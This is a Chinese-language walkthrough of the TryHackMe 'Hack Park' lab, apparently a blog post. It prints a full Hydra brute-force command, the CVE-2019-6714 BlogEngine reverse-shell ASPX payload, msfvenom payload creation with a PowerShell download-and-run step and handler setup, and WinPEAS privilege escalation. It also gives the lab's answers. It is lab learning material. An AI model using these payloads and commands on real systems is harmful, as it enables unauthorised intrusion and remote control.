TRY HACK ME | Hack Park 「Hydra+Winpeas」

TRY HACK ME 渗透测试靶场,以基础为主层层深入,知识点讲解详细,对于想实现从零到一飞跃的白客,TRY HACK ME无非是最好的选择。而网络上资源良莠不齐,好的资源难找的一逼。因此,今天起我将与大家一起详细学习THM重要的ROOM里的内容,力求让每个人都能理解、掌握其中的内容,让我们一起学习、一起进步、一起GET THE FLAG!

THM靶场:Hack Park

虽然这个靶场名字起的很吓人,HACK PARK,小丑回魂差点给我魂吓掉~但是靶场其实很简单,介绍了使用Hydra爆破后台拿到管理员权限,通过后台漏洞获取普通权限SHELL后利用Winpeas扫描靶机(windows系统)的漏洞再进一步利用直至获取root权限,纸老虎纸老虎~~~废话不多说,直接开干!

害怕了吗?


TASK1 部署windows靶场

启动机器,连接openvpn,点击“Start Machine”获取目标IP,本次测试使用KAIL作为攻击机,连接成功后显示如下:

MISS ME?
但是这张图片比较糊了,我给你们找了张比较高清的gif

吓人不如跳舞

更吓人的场面自己搜索原片“小丑回魂”,但是我们靶场还是要打的,百度一下,发现小丑的名字叫pennywise,第一问get

Q1:Whats the name of the clown displayed on the homepage?
(主页上小丑的名字叫什么?)
A1:pennywise


TASK2 使用 Hydra 强制登录

HI HYDRA!

常规套路,先使用nmap扫描,然后cat获取扫描果,如果对nmap命令不熟悉的可以找一找tryhackme里的nmap介绍房间,内容比较全面。总之,分析扫描结果,我们可以发现,一共开启了两个端口,80和3389,3389也许可以尝试远程桌面登陆,我们这里先mark一下
nmap扫描结果

靶场已经提示的很全面了,既然要使用Hydra进行爆破,我们先找到登陆页面,显而易见是POST登陆的方式
登陆页面

Q2:What request type is the Windows website login form using?(Windows 网站登录表单使用什么请求类型?)
A2:POST

靶场中给的Hydra爆破的提示语句是:

hydra -l <​​用户名> -P /usr/share/wordlists/<wordlist> <ip> http-post-form

但是一试便知,除了用户名(盲猜admin)和IP(靶机IP)以及字典(字典使用的是THM推荐的rockyou.txt)外,我们要在http-post-from后加上网站登陆页面的URL再加上抓包的COOKIE值,其中用户名和密码要修改格式(具体见下面命令,markdown打不出来)最后再加上登录错误的显示的语句“Login failed”。抓包可以用burpsuit,实际情况中我们有这闲功夫直接burpuit爆出来了都,但是学习阶段我们还是配置一下,命令如下:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.172.241 http-post-form "/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=MqANV%2BF7JebPWxi7hwEWJQ%2BCsigO6CQNpXegTGswOAFhw0mgprtYiKbfUlTp%2F241O8WG94gy1kCLBLAdbw0ouotKUbEZxEwhTcGsm6TLdP6dVt1P0UT96TSD4%2Fouk%2Bhm3bZyAAuUbQOJ%2Bs6cs0dO2tkQymf4JHOSfRQgLGJf0NGU1%2BpZ&__EVENTVALIDATION=2Hoq1%2BxN6K3yZ5vEjtTyWhXL03VI9CzaRjxOLxHUtc6yegmlmfwGhwsWz%2FMjCLXVCa0zeuQWeAcpVj2oAyHtIfYSpJfI%2B9c7yi6aFnlpVJz1Zull4YojZxF9a7uVE1zjnxm3ueZ9Q15jEbbLa6qMeGgfHFnCH%2FylDzRejH27SGdL6P3A&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed"

巨长无比的命令

用我上面的命令改一下IP就能爆破出来了,可以看到,已经爆破成功!爆破成功!

Q3:Guess a username, choose a password wordlist and gain credentials to a user account!(猜一个用户名,然后获得用户凭证)!
A3:1qaz2wsx


TASK3 获取初始SHELL

因为在登录页面我们可以看到,网站后台是用BlogEngine的CMS写成的,重返首页,查看网页源代码可以发现BlogEnigine 的版本为3.3.6.0

BlogEngine版本
这就有意思了,立马谷歌一下,发现这个版本有远程代码执行漏洞,CVE编号为:2019-6714
google
CVE编号可见
可执行脚本如下:

<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %>
<%@ Import Namespace="BlogEngine.Core" %>

<script runat="server">
	static System.IO.StreamWriter streamWriter;

    protected override void OnLoad(EventArgs e) {
        base.OnLoad(e);

	using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("10.10.10.20", 4445)) {
		using(System.IO.Stream stream = client.GetStream()) {
			using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) {
				streamWriter = new System.IO.StreamWriter(stream);
						
				StringBuilder strInput = new StringBuilder();

				System.Diagnostics.Process p = new System.Diagnostics.Process();
				p.StartInfo.FileName = "cmd.exe";
				p.StartInfo.CreateNoWindow = true;
				p.StartInfo.UseShellExecute = false;
				p.StartInfo.RedirectStandardOutput = true;
				p.StartInfo.RedirectStandardInput = true;
				p.StartInfo.RedirectStandardError = true;
				p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler);
				p.Start();
				p.BeginOutputReadLine();

				while(true) {
					strInput.Append(rdr.ReadLine());
					p.StandardInput.WriteLine(strInput);
					strInput.Remove(0, strInput.Length);
				}
			}
		}
    	}
    }

    private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) {
   	StringBuilder strOutput = new StringBuilder();

       	if (!String.IsNullOrEmpty(outLine.Data)) {
       		try {
                	strOutput.Append(outLine.Data);
                    	streamWriter.WriteLine(strOutput);
                    	streamWriter.Flush();
                } catch (Exception err) { }
        }
    }

</script>
<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder>
  

分析下使用说明可以发现,首先要更改IP为攻击机的IP,再设置的监听端口(这里默认4445),将修改后的文件重命名为PostView.ascx,再后台上找点上传后,访问http:IP/?theme=…/…/App_Data/files即可弹到一个shell,用之前爆出的用户名和密码登录后台,找到文章的上传点如下:

上传点

上传构造好的文件,访问目标URL访问文件执行脚本,立即收到反弹的shell!
上传文件成功
访问http://IP/?theme=../../App_Data/files后获得反弹shell
执行whoami命令可得,服务器身份为iis apppool\blog

Q4:Who is the webserver running as?(网络服务器以谁身份运行?)
A4:iis apppool\blog


TASK4 使用WINPEAS提升权限

进入我们创造的HACKPARK目录,执行下面命令使用msfvenom生成反向shell,命令:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.2.118.230 LPORT=9999 -e x86/shika_ga_nai -f exe -o hangzai.exe

创建成功!

再使用命令:python3 -m http.server 80创建http服务,通过我们之前获得的shell下载服务上我们通过msfvemon创建的反弹shell,我们将能够最终实现在msf上获得一个稳定的shell。命令:

cd C:\windows\Temp //在shell中进入Temp临时目录
powershell -c wget "http://10.2.118.230/hangzai.exe" -outfile "hangzai.exe" 
msfconsole //打开MSF
use multi/handler //打开监听模块
set PAYLOAD windows/meterpreter/reverse_tcp  //设置PAYLOAD
set LPORT 9999 //与之前我们设置的端口号一致
set LHOST IP //设置 IP我i攻击机IP
run //运行   
hangzai.exe //返回shell内运行反向shell

GETSHELL成功!
使用命令:sysinfo,查看机器的操作系统版本:
系统操作版本

Q5:What is the OS version of this windows machine?(这台windows机器的操作系统版本是多少?)
A5:Windows 2012 R2 (6.3 Build 9600)

使用命令ps,发现异常服务:

发现异常
Q6:What is the name of the abnormal service running?(运行的异常服务叫什么名字?)
A6:WindowsScheduler(很奇怪,回答这个才能答对)

进入C:\Program Files (x86)\SystemScheduler\Events 目录,发现异常文件,执行命令:cat 20198415519.INI_LOG.txt,可以发现Message.exe每三十秒执行一次,这应该就是我们要利用的二进制文件
每五秒运行一次

Q7:What is the name of the binary you’re supposed to exploit? (您应该利用的二进制文件的名称是什么? )
A7:Message.exe

同样的手法我们再使用msfvenom制作一个“Message.exe”文件替换原文件再次执行应该就可以返回rootshell,这里我们不再赘述,下面使用更方便的方式,上传我们的Winpeas!(如果不知道如何下载的,可以看我之前的文章:https://blog.csdn.net/AKAHRZ/article/details/123991558?spm=1001.2014.3001.5501)命令:

upload /home/akahrz/THM/HackPark/winPEASx64.exe //上传winpeas
winPEAS.exe //运行winpeas

运行成功!

仔细梳理,发现了一个有意思的点:远程用户名密码
直接远程连接,中间回复Y:

xfreerdp /u:administrator /p:4q6XvFES7Fdxs /v:10.10.100.19

远程连接成功!
直接一顿操作,拿下user和admin的flag:
user.txt
root.txt

最后一题要看系统原始的安装时间,我才发现Winpeas分析内容没看完,所以我又重新分析了下,发现了华点:原始安装时间

Q8:Using winPeas, what was the Original Install time?(使用 winPeas,原始安装时间是多少?(这是日期和时间))
A8:8/3/2019, 10:43:23 AM


HACK PARK 靶场通关小结

在这个房间中,我们一起学习了使用hydra爆破后台用户密码、通过利用winpeas提升windows权限其中的难点是hydra的配置和权限提升过程中寻寻找异常文件的过程。如果有部分不明白的,可以把流程反反复复的多看几遍,同时也非常欢迎大家私信我,如果觉得内容做的不错的话,也可以关注我的公众号:HACKER 航仔 以获取最新消息并与我联系,十分感谢能看到这里的各位,虽然制作不易,看到你们的点赞我还是很开心的!我们下期再见,拜了个拜~~~

使用Kali Linux中的Hydra工具进行密码爆破攻击是一项安全测试活动,用于检查系统的安全性。请注意,这样的行为应该仅限于授权的测试环境或在你拥有明确授权的情况下进行,未经授权对任何系统进行攻击是违法的。 下面是一个基本的指导,介绍如何使用Hydra工具来尝试破解Windows 7操作系统的用户名和密码: 1. 准备工作:首先,确保你已经安装了Kali Linux,并且已经安装了Hydra工具。如果没有安装,可以通过Kali的包管理器apt进行安装。 2. 收集信息:了解目标系统的IP地址、使用的协议(如SSH, FTP, HTTP等)以及可能的用户名和密码信息。 3. 运行Hydra:使用以下格式的命令来尝试爆破密码: ```bash hydra -l username -P passwords.txt -s port_number ip_address protocol ``` - `-l username`:指定要尝试的用户名。 - `-P passwords.txt`:指定包含可能密码的文件。 - `-s port_number`:指定服务运行的端口号(如远程桌面默认是3389)。 - `ip_address`:目标系统的IP地址。 - `protocol`:指定服务的协议,例如:`rdp`(远程桌面协议)、`ssh`、`ftp`等。 例如,如果你尝试爆破远程桌面的密码,命令可能如下: ```bash hydra -l administrator -P passwords.txt -s 3389 192.168.1.1 rdp ``` 这里 `-l administrator` 表示尝试破解的用户名是 `administrator`,`-P passwords.txt` 是一个包含密码的文本文件,`-s 3389` 指定远程桌面服务的端口,`192.168.1.1` 是目标系统的IP地址。 4. 分析输出:Hydra执行完毕后会显示结果,如果成功,它会告诉你找到的密码是什么。
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值